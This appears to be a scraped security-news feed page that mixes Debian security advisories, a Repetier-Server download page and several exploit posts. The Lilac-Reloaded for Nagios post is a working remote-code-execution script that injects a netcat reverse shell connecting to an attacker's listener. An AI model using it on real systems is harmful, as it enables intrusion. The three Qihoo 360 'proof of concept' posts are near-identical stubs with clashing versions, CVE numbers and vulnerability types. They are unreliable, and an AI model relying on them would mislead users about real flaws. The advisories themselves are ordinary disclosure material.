Debian Linux Security Advisory 5392-1 - Multiple security issues were discovered in Thunderbird, which could result in denial of service or the execution of arbitrary code.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5392-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
April 22, 2023                        https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : thunderbird  
CVE ID         : CVE-2023-0547 CVE-2023-1945 CVE-2023-28427 CVE-2023-29479   
                 CVE-2023-29533 CVE-2023-29535 CVE-2023-29536 CVE-2023-29539   
                 CVE-2023-29541 CVE-2023-29548 CVE-2023-29550

Multiple security issues were discovered in Thunderbird, which could  
result in denial of service or the execution of arbitrary code.

For the stable distribution (bullseye), these problems have been fixed in  
version 1:102.10.0-1~deb11u1.

We recommend that you upgrade your thunderbird packages.

For the detailed security status of thunderbird please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/thunderbird

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmREBsEACgkQEMKTtsN8  
TjZX4w/+OuttNpDWu8m7daY/USfgb3U7pVI+wbMrqMKxSjQ6BRCUaCcXN1VXZpXn  
cOGTqSoFB+qBgYrSjJ0buH9L1yWAQXfaw43wF9eDAfRZB1Svzhl+W164GGks1YKZ  
9WbJ255lvCuXuNbmP+I1xYtuN5epP1saNAET/3HDkJUbXre5T3wdGCjgJnfyE6vf  
JhAwqVYEbOabRisnEhkP67yHk6mEz2QzH+KbbxyS7hCHp+I4RIMNhxPeoPb2Mn/t  
3oja8bC1WGpJaOaQy99UlCD11L8li30LbVb95V8l91tVzbXJwfOCmdjdRp+8/xA/  
fSpNdjCa7rbX8FWeU/FNunia/KkkJgc3qa65+e0muq99gdBk/+1HrrysjZt2oya5  
/vOMLjDfRmfqyB2fn65Isl2PhJnJN9EtPXeEFGLGNmRfqVlg2w4qXm2UUGDPmeuF  
rQrsYJ7YLLfQp7JejtNbPZbH+csEXFn2DRVv9YdOX5/H+a/boqe0h+9Wtmywzfw1  
uH+A5iY5JyLhknMyzfopCfpZIcV4ieRxeOdKvkUom67zKr2OAigSGxpz7EFdnunn  
gITqkbFqHtdjcCq/Vuj+vlfcUP7iLrWNSR9FZc9k9QcN0kaot8CqUmXF4zjkH/le  
sZMm+pcds9XpShSb3SXatKj3YY/O+DbHEcuKFSjg6DSHwEz4GLI=  
=tV7a  
-----END PGP SIGNATURE-----

Debian Security Advisory 5392-1

Repetier Server through 1.4.10 does not have CSRF protection.

Here you can download the free version of Repetier-Server. To get the Pro version with all features, you just have to enter your Repetier-Server Pro license code you can get here. Repetier-Server Monitor is always free.

** Repetier-Server 1.4.10**

**After installing Repetier-Server you can activate a completely free test period of 14 days to test out all Pro features. If you are satisfied, we are happy if you decide for a Pro version and support this project.**

**Download Older Versions**

**Show Changelog**

**Which version is the right?**

For the linux versions we currently only have Debian installer which work with all newer Debian like distributions like Ubuntu as long as your libc version is greater equal the used version. See table below:

*   **Linux 32 bit Intel (intel32):** libc 2.19 like used in Ubuntu 14.04LTS
*   **Linux 64 bit Intel (amd64):** libc 2.13 like used in Debian Wheezy
*   **Linux 32 bit ARM (armhf):** libc 2.16 like used in Debian Jessie. Use armel if you have a older libc.
*   **Linux 64 bit ARM (armhf 64 bit):** libc 2.23 like used in Ubuntu 16.04
*   **Linux 32 bit ARM (armel):** libc 2.13 like on Raspberry-Pi Raspian
*   **Windows: Vista, 7, 10 and 11**
*   **Mac: OS X 10.13 or later**

For the arm boards we have two versions depending on the arm architecture. The widespread Raspberry-PI uses the armel version. Boards with better hardware like Beagle bon black should use the faster armhf version.

For update informations, please check out our changelog.

** Repetier-Server Monitor 1.4.5**

Free desktop app to connect multiple Repetier-Server PRO or OEM instances at once with additional functions like easy g-code upload from any slicer, Repetier-Server backup, …  
Read more …

**Show Changelog**

**System requirements**

*   Windows 7 and higher (64 bit), Mac OS X 10.10 and higher and Linux (64 bit)
*   200 MB disc storage
*   The current version of Repetier-Server
*   If under linux the screen is empty add –disable-gpu as parameter. Happens especially under virtual machines.

**Troubleshooting:**

If you have any problems with our software, here you will find help:

*   Manual including installation instructions and other documentations
*   Frequently askes questions
*   Our forum for answers and questions not covered in the above sources

**Notice for Raspberry Pi users**

The Pi is very power sensitive. If it does not receive stable 5V, you may experience stability issues like bad connections or temperature errors. Use a solid 3A power supply, best with 5.1 V output. Also a cheap usb cable with thin wires can cause voltage loss. We recommend an AWG20 USB cable.

More information

CVE-2023-31061: Download - Repetier-Server

Debian Linux Security Advisory 5391-1 - Several vulnerabilities were discovered in libxml2, a library providing support to read, modify and write XML and HTML files.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5391-1                   security@debian.orghttps://www.debian.org/security/                     Salvatore BonaccorsoApril 20, 2023                        https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : libxml2CVE ID         : CVE-2023-28484 CVE-2023-29469Debian Bug     : 1034436 1034437Several vulnerabilities were discovered in libxml2, a library providingsupport to read, modify and write XML and HTML files.CVE-2023-28484    A NULL pointer dereference flaw when parsing invalid XML schemas may    result in denial of service.CVE-2023-29469    It was reported that when hashing empty strings which aren't    null-terminated, xmlDictComputeFastKey could produce inconsistent    results, which may lead to various logic or memory errors.For the stable distribution (bullseye), these problems have been fixed inversion 2.9.10+dfsg-6.7+deb11u4.We recommend that you upgrade your libxml2 packages.For the detailed security status of libxml2 please refer to its securitytracker page at:https://security-tracker.debian.org/tracker/libxml2Further information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmRBo8BfFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xNDz0SJJg//UIK3AxfSJq/tbbIu1hav33WMU6LMM0Jg/eEFB6gY4NFM45GMFn4UuSVbuenD4Nx5CyRnahhypbxzZdsVO9DjrAGjBpoyjlOHNQPddHRYbujZU0gVHwfam50fKJjdnkzFwsxkTOwF0UloNwqAvBUp2LG5Eqjz1CPvcbAAyRYIyyYdj3uLRuz/Zv8J6z/nvDndCsN4RWqioGvaH084Y0QsmkGV7devmEDZ9ybiiGBQ4Dq3H2aTMYwx63McN7kbcGEZiuBT4S5fZXzmlH5lEKjlSbOzhqXyL4UxnrXs7RaAc+qqamokTKyy2hzfaW7zoEPymSl7Zoix3r8BR4GZs6HlPUhwOdnuRhqqOzF1Q2qmefj5GtlmuhtSmZKan8AdLuFEp42Rxii6u8UJZ7RS3lqH70RgMgBKtjLD4TX6RpisSwGzrjKh7AonFLPFeaEXbABD8/wTePQCbzYNn8xWgkT8A4a3PRnQEwFJO51ajhx772O9XepqSh46INnxraxFAyOPveHXfi+6msmP7gf5TxNa9FA69eQOoyZJpMxlm8u4DvPNPN75TdA4alMDg5l41yCec745vFt1lhBHki//CTey7NCi5ElqBKlvoQV7SgIUeHW5U6TWDgWTTfZN69MWFk14M7ddEP+0cckyTcHun2vid7dm84iEwwbg0dMHcmpDV1Y==btNX-----END PGP SIGNATURE-----

Debian Security Advisory 5391-1

Lilac-Reloaded for Nagios version 2.0.l8 remote code execution exploit.

    #!/usr/bin/env python"""# Exploit Title: Lilac-Reloaded for Nagios 2.0.8 - Remote Code Execution (RCE)# Google Dork: N/A# Date: 2023-04-13# Exploit Author: max / Zoltan Padanyi# Vendor Homepage: https://exchange.nagios.org/directory/Addons/Configuration/Lilac-2DReloaded/visit# Software Link: https://sourceforge.net/projects/lilac--reloaded/files/latest/download# Version: 2.0.8# Tested on: Debian 7.6# CVE : N/AThe autodiscovery feature lacks any kind of input filtering, so we can add our own commands there terminated with a ;Use at your own risk!RCA - wild exec is ongoing without any filteringin library/Net/Traceroute.php   181      function _setTraceroutePath($sysname)   182      {   183          $status    = '';   184          $output    = array();   185          $traceroute_path = '';   186   187          if ("windows" == $sysname) {   188              return "tracert";   189          } else {   190              $traceroute_path = exec("which traceroute", $output, $status);   [...]   257      function traceroute($host)   258      {   259   260          $argList = $this->_createArgList();   261          $cmd = $this->_traceroute_path." ".$argList[0]." ".$host." ".$argList[1];   262          exec($cmd, $this->_result);"""import requestsimport argparseparser = argparse.ArgumentParser()parser.add_argument("-u", "--url", help="The full path of the autodiscover.php in lilac (i.e. http://127.0.0.1/lilac/autodiscovery.php", required=True)parser.add_argument("-i", "--ip", help="Listener IP", required=True)parser.add_argument("-p", "--port", help="Listener port", required=True, type=int)args = parser.parse_args()rev_shell = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip} {args.port} >/tmp/f;"body = {"request":"autodiscover","job_name":"HackThePlanet","job_description":"HackThePlanet","nmap_binary":rev_shell,"default_template":"","target[2]":"1.1.1.1"}try:    r = requests.get(args.url)    if r.ok:      print("[+] URL looks good...moving forward...")      print("[+] Sending exploit in...")      r = requests.post(args.url,data=body)      if r.ok:        print("[+] Got HTTP 200, check your listener!")    else:      print("[-] Some kind of error happened, check the http response below!")      print(r.text)except Exception as e:  print("General exception: " + str(e))

Lilac-Reloaded For Nagios 2.0.8 Remote Code Execution

Buffer Overflow vulnerability in Qihoo 360 Chrome v13.0.2170.0 allows attacker to escalate priveleges.

1.  \# Exploit Title: Qihoo 360 Chrome v12.0.1592.0 - RCE with Sandbox Escape
    
2.  \# Google Dork: N/A
    
3.  \# Date: 2021-05-11
    
4.  \# Exploit Author: youtube.com/@memorycorruptor
    
5.  \# Vendor Homepage: https://browser.360.cn/ee/
    
6.  \# Version: Qihoo 360 Chrome v13.0.2170.0
    
7.  \# Tested on: Windows x64 / Linux Debian x64 / MacOS
    
8.  \# CVE: CVE-2021-33970
    
9.  \# PoC Video: https://www.youtube.com/@memorycorruptor/videos
    
10.  \# Description: https://memorycorruptor.blogspot.com/p/vulnerabilities-disclosures.html
    
11.  \---------------------------------------------------------------------------
    

13.  Qihoo 360 Chrome v13.0.2170.0 is a web browser built on the Chrome engine, specifically using the V8 JavaScript engine. A recently discovered RCE vulnerability within this version allows attackers to execute arbitrary code on a victim's computer remotely.
    

15.  The vulnerability exists in the V8 JavaScript engine, a critical component of Qihoo 360 Chrome v13.0.2170.0. It was discovered in 2021 and is a result of a type confusion issue. This issue occurs when the V8 engine improperly handles certain JavaScript objects, leading to memory corruption and potentially allowing an attacker to execute arbitrary code.
    

17.  function trigger() {
    
18.  let o = {a: 1};
    
19.  let p = new Proxy(o, {});
    
20.  p.\_\_proto\_\_ = {};
    
21.  p.\_\_proto\_\_.x = 0;
    

23.  let b = new ArrayBuffer(8);
    
24.  let f64 = new Float64Array(b);
    
25.  let u32 = new Uint32Array(b);
    

27.  function ftoi(val) {
    
28.  f64\[0\] = val;
    
29.  return BigInt(u32\[0\]) + (BigInt(u32\[1\]) << 32n);
    
30.  }
    

32.  function itof(val) {
    
33.  u32\[0\] = Number(val & 0xffffffffn);
    
34.  u32\[1\] = Number(val >> 32n);
    
35.  return f64\[0\];
    
36.  }
    

38.  function addrof(obj) {
    
39.  o.a = obj;
    
40.  return ftoi(p.x);
    
41.  }
    

43.  // Exploit code goes here
    
44.  }
    

46.  trigger();
    

48.  This PoC code first sets up a type confusion situation in the V8 engine by creating a proxy object and modifying its \_\_proto\_\_ property. The addrof function then leaks the address of an object by causing the type confusion. The ftoi and itof functions are used to convert between floating-point and integer representations, which are essential for exploiting this vulnerability.
    

50.  The RCE vulnerability can allow an attacker to execute arbitrary code on the victim's computer, potentially leading to data theft, unauthorized access, or other malicious actions. Users should update to the latest version of Qihoo 360 Chrome or an alternative browser to mitigate this vulnerability. Browser developers should apply patches to the V8 engine and ensure that proper handling of JavaScript objects is implemented to prevent such issues in the future.
    

52.  \---------------------------------------------------------------------------

CVE-2021-33970: CVE-2021-33970 - Pastebin.com

Buffer Overflow vulnerability in Qihoo 360 Total Security v10.8.0.1060 and v10.8.0.1213 allows attacker to escalate privileges.

1.  \# Exploit Title: Qihoo 360 Safe Browser v13.0.2170.0 - RCE with Sandbox Escape
    
2.  \# Google Dork: N/A
    
3.  \# Date: 2021-05-11
    
4.  \# Exploit Author: youtube.com/@memorycorruptor
    
5.  \# Vendor Homepage: https://browser.360.cn/se/ & https://browser.360.cn/ee/
    
6.  \# Version: Qihoo 360 Safe Browser v13.0.2170.0
    
7.  \# Tested on: Windows x64 / Linux Debian x64 / MacOS
    
8.  \# CVE: CVE-2021-33975
    
9.  \# PoC Video: https://www.youtube.com/@memorycorruptor/videos
    
10.  \# Description: https://memorycorruptor.blogspot.com/p/vulnerabilities-disclosures.html
    
11.  \---------------------------------------------------------------------------
    
12.  Qihoo 360 Safe Browser v13.0.2170.0 is a web browser built on the Chrome engine, specifically using the V8 JavaScript engine. A recently discovered RCE vulnerability within this version allows attackers to execute arbitrary code on a victim's computer remotely.
    

14.  The vulnerability exists in the V8 JavaScript engine, a critical component of Qihoo 360 Safe Browser v13.0.2170.0. It was discovered in 2021 and is a result of a type confusion issue. This issue occurs when the V8 engine improperly handles certain JavaScript objects, leading to memory corruption and potentially allowing an attacker to execute arbitrary code.
    

16.  function trigger() {
    
17.  let o = {a: 1};
    
18.  let p = new Proxy(o, {});
    
19.  p.\_\_proto\_\_ = {};
    
20.  p.\_\_proto\_\_.x = 0;
    

22.  let b = new ArrayBuffer(8);
    
23.  let f64 = new Float64Array(b);
    
24.  let u32 = new Uint32Array(b);
    

26.  function ftoi(val) {
    
27.  f64\[0\] = val;
    
28.  return BigInt(u32\[0\]) + (BigInt(u32\[1\]) << 32n);
    
29.  }
    

31.  function itof(val) {
    
32.  u32\[0\] = Number(val & 0xffffffffn);
    
33.  u32\[1\] = Number(val >> 32n);
    
34.  return f64\[0\];
    
35.  }
    

37.  function addrof(obj) {
    
38.  o.a = obj;
    
39.  return ftoi(p.x);
    
40.  }
    

42.  // Exploit code goes here
    
43.  }
    

45.  trigger();
    

47.  This PoC code first sets up a type confusion situation in the V8 engine by creating a proxy object and modifying its \_\_proto\_\_ property. The addrof function then leaks the address of an object by causing the type confusion. The ftoi and itof functions are used to convert between floating-point and integer representations , which are essential for exploiting this vulnerability.
    

49.  The RCE vulnerability can allow an attacker to execute arbitrary code on the victim's computer, potentially leading to data theft, unauthorized access, or other malicious actions. Users should update to the latest version of Qihoo 360 Chrome or an alternative browser to mitigate this vulnerability. Browser developers should apply patches to the V8 engine and ensure that proper handling of JavaScript objects is implemented to prevent such issues in the future.
    
50.  \---------------------------------------------------------------------------

CVE-2021-33975: CVE-2021-33975 - Pastebin.com

Buffer Overflow vulnerability in Qihoo 360 Safe guard v12.1.0.1004, v12.1.0.1005, v13.1.0.1001 allows attacker to escalate priveleges.

1.  \# Exploit Title: 360 Total Security 10.8.0.1213 Local Privilege Escalation
    
2.  \# Google Dork: N/A
    
3.  \# Date: 2021-05-11
    
4.  \# Exploit Author: youtube.com/@memorycorruptor
    
5.  \# Vendor Homepage: http://www.360totalsecurity.com/
    
6.  \# Version: 360 Total Security 10.8.0.1213
    
7.  \# Tested on: Windows x64 / Linux Debian x64 / MacOS
    
8.  \# CVE: CVE-2021-33973
    
9.  \# PoC Video: https://www.youtube.com/@memorycorruptor/videos
    
10.  \# Description: https://memorycorruptor.blogspot.com/p/vulnerabilities-disclosures.html
    
11.  \---------------------------------------------------------------------------
    
12.  Elevation of Privilege (EOP) Vulnerability in 360 Total Security 10.8.0.1213
    

14.  A Local Privilege Escalation vulnerability in 360 Total Security 10.8.0.1213, which allows the antivirus software to execute actions with system-level privileges while running under standard user privileges, The vulnerability is similar to a Windows kernel vulnerability discovered in 2021.
    

16.  Introduction
    
17.  360 Total Security 10.8.0.1213 is an antivirus software that provides protection against various threats. A recently discovered LPE/EOP vulnerability in the software allows it to perform actions with system-level privileges while running under standard user privileges. This article analyzes this vulnerability and provides a PoC to demonstrate the exploit.
    

19.  Vulnerability
    
20.  The LPE/EOP vulnerability in 360 Total Security 10.8.0.1213 is similar to a Windows kernel vulnerability discovered in 2021. It allows the antivirus software to perform actions with system-level privileges, bypassing the usual security checks in Windows. This can lead to unauthorized access, data theft, or other malicious actions.
    

22.  Proof of Concept
    

24.  #include <Windows.h>
    
25.  #include <stdio.h>
    

27.  int main() {
    
28.  // Load the vulnerable driver
    
29.  HMODULE hDriver = LoadLibrary("360TotalSecurity.sys");
    
30.  if (!hDriver) {
    
31.  printf("Failed to load driver: %d\\n", GetLastError());
    
32.  return 1;
    
33.  }
    

35.  // Get address
    
36.  FARPROC pVulnFunc = GetProcAddress(hDriver, "VulnerableFunction");
    
37.  if (!pVulnFunc) {
    
38.  printf("Failed to get function address: %d\\n", GetLastError());
    
39.  FreeLibrary(hDriver);
    
40.  return 1;
    
41.  }
    

43.  // Exploit code
    

45.  pVulnFunc(/\* Crafted argument \*/);
    

48.  FreeLibrary(hDriver);
    
49.  return 0;
    
50.  }
    

52.  the vulnerable driver (360TotalSecurity.sys) and retrieves the address of the vulnerable function. The exploit code should be placed where indicated, and the vulnerable function should be called with a crafted argument to trigger the LPE/EOP vulnerability.
    
53.  \---------------------------------------------------------------------------

CVE-2021-33973: CVE-2021-33973 - Pastebin.com

Buffer Overflow vulnerability in Qihoo 360 Safe Browser v13.0.2170.0 allows attacker to escalate priveleges.

1.  \# Exploit Title: Qihoo 360 Safe Browser v12.3.1611.0 - RCE with Sandbox Escape
    
2.  \# Google Dork: N/A
    
3.  \# Date: 2021-05-11
    
4.  \# Exploit Author: youtube.com/@memorycorruptor
    
5.  \# Vendor Homepage: https://browser.360.cn/se/
    
6.  \# Version: Qihoo 360 Safe Browser v13.0.2170.0
    
7.  \# Tested on: Windows x64 / Linux Debian x64 / MacOS
    
8.  \# CVE: CVE-2021-33972
    
9.  \# PoC Video: https://www.youtube.com/@memorycorruptor/videos
    
10.  \# Description: https://memorycorruptor.blogspot.com/p/vulnerabilities-disclosures.html
    
11.  \---------------------------------------------------------------------------
    
12.  Qihoo 360 Safe Browser v12.3.1611.0 is a web browser built on the Chrome engine, specifically using the V8 JavaScript engine. A recently discovered RCE vulnerability within this version allows attackers to execute arbitrary code on a victim's computer remotely.
    

14.  The vulnerability exists in the V8 JavaScript engine, a critical component of Qihoo 360 Safe Browser v12.3.1611.0. It was discovered in 2021 and is a result of a type confusion issue. This issue occurs when the V8 engine improperly handles certain JavaScript objects, leading to memory corruption and potentially allowing an attacker to execute arbitrary code.
    

16.  function trigger() {
    
17.  let o = {a: 1};
    
18.  let p = new Proxy(o, {});
    
19.  p.\_\_proto\_\_ = {};
    
20.  p.\_\_proto\_\_.x = 0;
    

22.  let b = new ArrayBuffer(8);
    
23.  let f64 = new Float64Array(b);
    
24.  let u32 = new Uint32Array(b);
    

26.  function ftoi(val) {
    
27.  f64\[0\] = val;
    
28.  return BigInt(u32\[0\]) + (BigInt(u32\[1\]) << 32n);
    
29.  }
    

31.  function itof(val) {
    
32.  u32\[0\] = Number(val & 0xffffffffn);
    
33.  u32\[1\] = Number(val >> 32n);
    
34.  return f64\[0\];
    
35.  }
    

37.  function addrof(obj) {
    
38.  o.a = obj;
    
39.  return ftoi(p.x);
    
40.  }
    

42.  // Exploit code goes here
    
43.  }
    

45.  trigger();
    

47.  This PoC code first sets up a type confusion situation in the V8 engine by creating a proxy object and modifying its \_\_proto\_\_ property. The addrof function then leaks the address of an object by causing the type confusion. The ftoi and itof functions are used to convert between floating-point and integer representations, which are essential for exploiting this vulnerability.
    

49.  The RCE vulnerability can allow an attacker to execute arbitrary code on the victim's computer, potentially leading to data theft, unauthorized access, or other malicious actions. Users should update to the latest version of Qihoo 360 Chrome or an alternative browser to mitigate this vulnerability. Browser developers should apply patches to the V8 engine and ensure that proper handling of JavaScript objects is implemented to prevent such issues in the future.
    
50.  \---------------------------------------------------------------------------

CVE-2021-33972: CVE-2021-33972 - Pastebin.com

Debian Linux Security Advisory 5390-1 - Multiple security issues were discovered in Chromium, which could result in the execution of arbitrary code.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5390-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffApril 16, 2023                        https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : chromiumCVE ID         : CVE-2023-2033Debian Bug     : 1034406Multiple security issues were discovered in Chromium, which could resultin the execution of arbitrary code.For the stable distribution (bullseye), this problem has been fixed inversion 112.0.5615.121-1~deb11u1.We recommend that you upgrade your chromium packages.For the detailed security status of chromium please refer toits security tracker page at:https://security-tracker.debian.org/tracker/chromiumFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmQ8MnEACgkQEMKTtsN8TjaGfhAAiJWqYWW3KO7l2i4JBe+vne7rZdEoCMsC7HxhDBbvSBs3sd0bFCUsGTdKqbPcc1l8dX49jcyxF+Fl7y+P/HvvsZ1fb1te5yvbcvVoe1RR+6GQ45Os33eWSVJZsGZ2AHjlHsej2/srOGPcDPOjHv1AgnCIHtJ2OK5MOPWbvyCfRl0T75Whge3XxQGz/KnnYnwQU1bZGT74j8U1FkVDpxeDN+nBah9IElRBCOg2Jkz840tPcftaZdUtQKH2upOg14At/IhqImiYc4HqbsHBSWFHstraskAFK/smXHEYPa2tdBVcLpqjOR9zHRfPpLPPM4yeu8OsU3Sr3YqzZL+xrA/DitENHcDwgkKzNJOHbFXUVX2/nEtrTSG80l+LjFzr4H1N5t6jgPTQf4AQmSjHKAKeVkYooNL2iFV8vfn0LcHgc7AXwGCADQC7hHzAhZaoX9e3Gkjhh9wo1D77zUGC4WcW3kQQXlA4BecfabBN3L+cFJMQPQKf9mOgt3lb2gJzB8cXe1z4PpnQ3JD1X7dkjy+ukpbfyxrFU3WYOPffXyHJ6hqtcYQSG/ktaIZ1RJmB1fI89g9k8/rDaFs4/0GfEA9ZCbKLhFX3FhNNkwkVoBwcbatZiizpDX3wrW3awgk+KKZHE7etFEavqSjaP96cQ3UvvxMd/8NvlkIpz9EgzLy/E74=gB3H-----END PGP SIGNATURE-----

Debian Security Advisory 5390-1

Debian Linux Security Advisory 5389-1 - Two vulnerabilities were discovered in rails, the Ruby based server-side MVC web application framework, which could lead to XSS and DOM based cross-site scripting (CRS). This update also fixes a regression introduced in previous update that may block certain access for apps using development environment.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA256- -------------------------------------------------------------------------Debian Security Advisory DSA-5389-1                   security@debian.orghttps://www.debian.org/security/                                  Aron XuApril 14, 2023                        https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : railsCVE ID         : CVE-2023-23913 CVE-2023-28120Debian Bug     : 1033262 1033263Brief introduction Two vulnerabilities were discovered in rails, the Ruby based server-sideMVC web application framework, which could lead to XSS and DOM basedcross-site scripting (CRS).This update also fixes a regression introduced in previous update thatmay block certain access for apps using development environment.For the stable distribution (bullseye), these problems have been fixed inversion 2:6.0.3.7+dfsg-2+deb11u2.We recommend that you upgrade your rails packages.For the detailed security status of rails please refer toits security tracker page at:https://security-tracker.debian.org/tracker/railsFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQEzBAEBCAAdFiEEhhz+aYQl/Bp4OTA7O1LKKgqv2VQFAmQ5gEQACgkQO1LKKgqv2VT/iwgAvAA/wob57s9L6OseUHQL9E83qcGgmyukO5rPg0v+DSJXNWZP76ntGemfHQPeD73OqjBymt9JBSkI7ZGqDA8VvqR/5TvXF4IUlVyQ7CQ7DEHcJJVDcMH4MVIKzgl6mGk3eeqZf1e2TmV5+NUkLcOEi8JPlcnA8umue6GiGMOVpee6h57omEJjLrbIWuZc5z4+OEX1PVCgEVVbfsgxY8R43Eu6+3RPciYHkuo/spY6sdqFGWojvVEM25qZ49Nae4JcUFmK1VWprzZstrlSCaXVmiBQ/grUtHXyMd5jGSHVh7XFdl98ggKasUiUSS3cOqNJS9WzFK6oLORMXfI4iIklNQ===FKaG-----END PGP SIGNATURE-----

Tag

#debian